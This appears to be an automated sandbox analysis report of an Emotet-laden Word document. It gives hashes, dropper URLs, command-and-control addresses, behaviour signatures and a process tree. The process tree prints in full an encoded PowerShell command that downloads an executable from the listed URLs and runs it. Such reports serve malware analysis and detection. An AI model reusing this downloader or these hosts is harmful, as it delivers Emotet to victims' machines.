Analysis

  • max time kernel
    136s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    14/08/2020, 06:11

General

  • Target
    emotet_e3_6cd6b43020fdfd1a699f2421233b6e2e050938baf6b2a6ebce33c0a198b81ab3_2020-08-14__061008._doc.doc
  • Size 230KB
  • Sample200814-kfnap4t5ee
  • SHA256 6cd6b43020fdfd1a699f2421233b6e2e050938baf6b2a6ebce33c0a198b81ab3
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://uaisoftware.com.br/site/QOe0keu299/

  • exe.dropper

    http://randysino.com/vxghj/udI/

  • exe.dropper

    https://www.galaxyastronomist.com/wp-admin/NRqx7nz6952/

  • exe.dropper

    https://www.renntech.nl/wp-includes/soPqeNx/

  • exe.dropper

    http://electrowifi.es/translations/7RE8qj5mvz825172005/

Extracted

Family
  • emotet

C2
  • 66.61.94.36:80

  • 159.203.232.29:8080

  • 185.86.148.68:443

  • 74.208.173.91:8080

  • 37.70.131.107:80

  • 212.156.133.218:80

  • 81.17.93.134:80

  • 203.153.216.182:7080

  • 115.79.195.246:80

  • 115.165.3.213:80

  • 216.75.37.196:8080

  • 81.214.253.80:443

  • 192.241.220.183:8080

  • 172.96.190.154:8080

  • 195.201.56.70:8080

  • 105.213.67.88:80

  • 50.116.78.109:8080

  • 188.166.25.84:8080

  • 187.64.128.197:80

  • 198.57.203.63:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_6cd6b43020fdfd1a699f2421233b6e2e050938baf6b2a6ebce33c0a198b81ab3_2020-08-14__061008._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3068
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABEAFgAUgBZAEgAaAB2AGQAPQAnAFEAVgBMAFgAVQBmAGIAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBgAFUAUgBgAGkAdAB5AFAAUgBvAGAAVABPAGMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAVgBKAEkAWABLAGYAcABqACAAPQAgACcAUQB4AGYAZwAnADsAJABRAEUAWQBFAEYAcgByAHgAPQAnAFUAWQBZAEEASQB6AGoAZAAnADsAJABJAEwARwBTAE8AbQBrAHQAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABWAEoASQBYAEsAZgBwAGoAKwAnAC4AZQB4AGUAJwA7ACQAVwBLAFoAVABYAGEAeQBvAD0AJwBXAE8AUABTAEQAeABwAGgAJwA7ACQARgBUAEEAWgBMAHIAZABiAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAGUAVAAuAHcARQBCAGMAbABpAEUAbgBUADsAJABYAFYAQgBBAFkAawB6AG8APQAnAGgAdAB0AHAAcwA6AC8ALwB1AGEAaQBzAG8AZgB0AHcAYQByAGUALgBjAG8AbQAuAGIAcgAvAHMAaQB0AGUALwBRAE8AZQAwAGsAZQB1ADIAOQA5AC8AKgBoAHQAdABwADoALwAvAHIAYQBuAGQAeQBzAGkAbgBvAC4AYwBvAG0ALwB2AHgAZwBoAGoALwB1AGQASQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZwBhAGwAYQB4AHkAYQBzAHQAcgBvAG4AbwBtAGkAcwB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBOAFIAcQB4ADcAbgB6ADYAOQA1ADIALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHIAZQBuAG4AdABlAGMAaAAuAG4AbAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHMAbwBQAHEAZQBOAHgALwAqAGgAdAB0AHAAOgAvAC8AZQBsAGUAYwB0AHIAbwB3AGkAZgBpAC4AZQBzAC8AdAByAGEAbgBzAGwAYQB0AGkAbwBuAHMALwA3AFIARQA4AHEAagA1AG0AdgB6ADgAMgA1ADEANwAyADAAMAA1AC8AJwAuACIAcwBgAFAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABaAEQAQgBFAE0AcABtAGIAPQAnAFkAVABXAEIATABtAHgAagAnADsAZgBvAHIAZQBhAGMAaAAoACQATwBIAEsASwBJAGQAZQBnACAAaQBuACAAJABYAFYAQgBBAFkAawB6AG8AKQB7AHQAcgB5AHsAJABGAFQAQQBaAEwAcgBkAGIALgAiAEQATwB3AG4AYABsAGAAbwBBAGAAZABGAGkATABFACIAKAAkAE8ASABLAEsASQBkAGUAZwAsACAAJABJAEwARwBTAE8AbQBrAHQAKQA7ACQATwBYAEgAWQBHAHEAbwB1AD0AJwBQAEIAVgBBAEwAYgBuAGsAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABJAEwARwBTAE8AbQBrAHQAKQAuACIATABgAGUAYABOAEcAVABoACIAIAAtAGcAZQAgADIAMAAzADIAMQApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABJAEwARwBTAE8AbQBrAHQAKQA7ACQAUgBZAEsARwBXAG4AegB2AD0AJwBVAEQAQwBWAFUAYwBhAGsAJwA7AGIAcgBlAGEAawA7ACQAQgBYAEwAUQBTAGcAdwB6AD0AJwBYAEkAVQBPAEIAbQB6AHIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQBRAEsASwBHAHYAZwB6AD0AJwBNAEcAQQBZAEwAcQBpAGoAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2108
    • C:\Users\Admin\AppData\Local\Temp\Qxfg.exe
      "C:\Users\Admin\AppData\Local\Temp\Qxfg.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\SysWOW64\choice\srm.exe
        "C:\Windows\SysWOW64\choice\srm.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1652

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1160-12-0x0000000002490000-0x000000000249C000-memory.dmp

        memory/1652-15-0x0000000002350000-0x000000000235C000-memory.dmp

        memory/2108-6-0x00007FF968EB0000-0x00007FF96989C000-memory.dmp

        memory/2108-7-0x0000027E1CB00000-0x0000027E1CB01000-memory.dmp

        memory/2108-8-0x0000027E1CCB0000-0x0000027E1CCB1000-memory.dmp

        memory/3068-0-0x00007FF976AE0000-0x00007FF9771A6000-memory.dmp